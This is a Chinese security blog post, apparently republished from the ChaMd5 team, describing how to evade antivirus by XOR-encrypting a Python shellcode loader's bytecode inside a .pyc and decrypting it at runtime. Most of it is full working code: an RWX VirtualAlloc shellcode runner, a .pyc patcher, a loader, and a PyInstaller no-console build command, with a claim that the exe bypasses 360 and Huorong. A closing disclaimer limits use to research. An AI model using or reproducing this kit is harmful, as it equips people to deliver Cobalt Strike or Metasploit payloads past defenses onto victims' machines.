文章总结: 本文介绍了一种利用Python字节码自修改技术实现免杀的方法。通过加密.pyc文件中特定Loader函数的字节码,并在程序运行时动态解密执行,从而绕过杀软静态检测。实战中配合PyInstaller打包生成的exe,成功通过了360核晶和火绒等主流杀软的查杀,为红队对抗提供了有效的免杀思路。 综合评分: 87 文章分类: 免杀,红队,二进制安全
36x核x免杀之Python代码自修改技术
原创
Anzi
ChaMd5安全团队
2025年12月24日 08:02 辽宁
招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)
灵感来自一道ctf python逆向题,通过对 .pyc 文件中特定函数的字节码进行加密,在程序运行之初再动态解密字节码,从而实现逃逸杀软的检测。
首先,样本的原始代码如下,Loader函数负责加载shellcode进内存并执行,这里可以使用cs或msf生成的shellcode。pycStuff.py内容如下:
import ctypes
import types
kernel32 = ctypes.windll.kernel32
def write_memory(buf):
length = len(buf)
kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
kernel32.RtlMoveMemory.argtypes = (
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t)
kernel32.RtlMoveMemory(ptr, buf, length)
return ptr
def stuff(object):
buffer = ctypes.cast(id(object.__code__.co_code) + 32, ctypes.POINTER(ctypes.c_char))
for i in range(len(object.__code__.co_code)):
buffer[i] = buffer[i][0] ^ 0xDDBBAAFF12E0100 >> (i % 8) * 8 & 255
return buffer
def stuff_and_reload(func_obj, key=0xDDBBAAFF12E0100):
"""解密并返回新的函数对象"""
# 方法 1:通过 replace 创建新的代码对象
old_code = func_obj.__code__.co_code
# 解密字节码
new_bytecode = bytearray()
for i in range(len(old_code)):
new_bytecode.append(old_code[i] ^ (key >> (i % 8) * 8 & 0xFF))
# 创建新的代码对象
new_code_obj = func_obj.__code__.replace(co_code=bytes(new_bytecode))
# 创建新的函数对象
new_func = types.FunctionType(
new_code_obj,
func_obj.__globals__,
func_obj.__name__,
func_obj.__defaults__,
func_obj.__closure__
)
return new_func
def Loader():
# stuff(write_memory)
try:
shellcode = b'shellcode'
buf = ctypes.create_string_buffer(shellcode)
ptr = write_memory(buf)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
shell_func()
except Exception as e:
print(f"Unexpected error: {e}")
if __name__ == '__main__':
Loader = stuff_and_reload(Loader)
# import inspect
# source_code = inspect.getsource(Loader)
# print(source_code)
Loader()
print("Hello world")
对pycStuff.py进行编译,获得pycStuff.pyc文件。
python -OO -m py_compile pycStuff.py
然后使用GeneratePycStuff.py文件对pycStuff.pyc文件中的loader函数的字节码进行加密并patch。GeneratePycStuff.py内容如下:
import marshal
import types
import struct
import sys
def read_pyc(filename):
"""读取 .pyc 文件"""
with open(filename, 'rb') as f:
# Python 3.7+ 的 .pyc 文件格式
magic = f.read(4) # Magic number
flags = f.read(4) # Flags (Python 3.7+)
if sys.version_info >= (3, 7):
timestamp = f.read(4)
size = f.read(4)
else:
timestamp = f.read(4)
size = None
code_obj = marshal.load(f)
return magic, flags, timestamp, size, code_obj
def write_pyc(filename, magic, flags, timestamp, size, code_obj):
"""写入 .pyc 文件"""
with open(filename, 'wb') as f:
f.write(magic)
f.write(flags)
f.write(timestamp)
if size:
f.write(size)
marshal.dump(code_obj, f)
def encrypt_bytecode(bytecode, key=0xDDBBAAFF12E0100):
result = bytearray()
for i, b in enumerate(bytecode):
xor_value = (key >> (i % 8) * 8) & 255
result.append(b ^ xor_value)
return bytes(result)
def decrypt_bytecode(bytecode, key=0xDDBBAAFF12E0100):
result = bytearray()
for i, b in enumerate(bytecode):
xor_value = (key >> (i % 8) * 8) & 255
result.append(b ^ xor_value)
return bytes(result)
def modify_function_in_code(code_obj, func_name, encrypt=True, key=0x5A):
"""递归查找并修改指定函数的字节码"""
# 检查当前代码对象的名称
if code_obj.co_name == func_name:
print(f"找到函数: {func_name}")
if encrypt:
new_code = encrypt_bytecode(code_obj.co_code, key)
print(f"加密字节码: {len(new_code)} 字节")
else:
new_code = decrypt_bytecode(code_obj.co_code, key)
print(f"解密字节码: {len(new_code)} 字节")
# 创建新的代码对象
new_code_obj = types.CodeType(
code_obj.co_argcount,
code_obj.co_posonlyargcount, # Python 3.8+
code_obj.co_kwonlyargcount,
code_obj.co_nlocals,
code_obj.co_stacksize,
code_obj.co_flags,
new_code, # 替换字节码
code_obj.co_consts,
code_obj.co_names,
code_obj.co_varnames,
code_obj.co_filename,
code_obj.co_name,
code_obj.co_firstlineno,
code_obj.co_lnotab,
code_obj.co_freevars,
code_obj.co_cellvars
)
return new_code_obj
# 递归处理嵌套的代码对象
new_consts = []
modified = False
for const in code_obj.co_consts:
if isinstance(const, types.CodeType):
new_const = modify_function_in_code(const, func_name, encrypt, key)
new_consts.append(new_const)
if new_const isnot const:
modified = True
else:
new_consts.append(const)
if modified:
# 创建新的代码对象(保持字节码不变,但更新 consts)
new_code_obj = types.CodeType(
code_obj.co_argcount,
code_obj.co_posonlyargcount,
code_obj.co_kwonlyargcount,
code_obj.co_nlocals,
code_obj.co_stacksize,
code_obj.co_flags,
code_obj.co_code,
tuple(new_consts), # 更新常量
code_obj.co_names,
code_obj.co_varnames,
code_obj.co_filename,
code_obj.co_name,
code_obj.co_firstlineno,
code_obj.co_lnotab,
code_obj.co_freevars,
code_obj.co_cellvars
)
return new_code_obj
return code_obj
def encrypt_function_in_pyc(input_pyc, output_pyc, func_name, key=0x5A):
"""加密 .pyc 文件中指定函数的字节码"""
print(f"读取: {input_pyc}")
magic, flags, timestamp, size, code_obj = read_pyc(input_pyc)
print(f"查找函数: {func_name}")
new_code_obj = modify_function_in_code(code_obj, func_name, encrypt=True, key=key)
print(f"写入: {output_pyc}")
write_pyc(output_pyc, magic, flags, timestamp, size, new_code_obj)
if __name__ == "__main__":
# 加密指定函数
encrypt_function_in_pyc('pycStuff.pyc', 'pycStuff_encrypted.pyc', 'Loader')
得到加密后的pycStuff_encrypted.pyc文件,通过pycdc查看加密后python字节码反编译后的结果。
可以发现Loader函数无法正常反编译,已被加密。
由于pyc文件部分字节码被加密,所以无法直接打包为exe文件,所以需要借助run_loader.py来加载。run_loader.py内容如下:
import sys
import os
import marshal
import types
def load_and_execute_pyc():
"""加载并执行加密的 .pyc 文件"""
# 处理 PyInstaller 打包后的路径
if getattr(sys, 'frozen', False):
# 打包后运行
base_path = sys._MEIPASS
else:
# 开发环境
base_path = os.path.dirname(os.path.abspath(__file__))
pyc_path = os.path.join(base_path, 'pycStuff_encrypted.pyc')
# 检查文件是否存在
if not os.path.exists(pyc_path):
print(f"错误: 找不到文件 {pyc_path}")
input("按回车键退出...")
return
try:
# 读取 .pyc 文件
with open(pyc_path, 'rb') as f:
# 跳过 .pyc 文件头部
magic = f.read(4)
flags = f.read(4)
timestamp = f.read(4)
size = f.read(4)
# 加载代码对象
code_obj = marshal.load(f)
# 执行代码(会自动解密 Loader 函数)
exec(code_obj, {'__name__': '__main__', '__file__': pyc_path})
except Exception as e:
print(f"执行错误: {e}")
import traceback
traceback.print_exc()
input("按回车键退出...")
if __name__ == '__main__':
load_and_execute_pyc()
通过PyInstaller对run_loader.py文件进行打包获得MyLoader.exe。
python -m PyInstaller --onefile --noconsole --add-data "pycStuff_encrypted.pyc;." --hidden-import=ctypes --name=MyLoader run_loader.py
实测MyLoader.exe可以过360核晶和火绒等杀软环境。
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系[email protected]
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:ChaMd5安全团队 Anzi《36x核x免杀之Python代码自修改技术》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论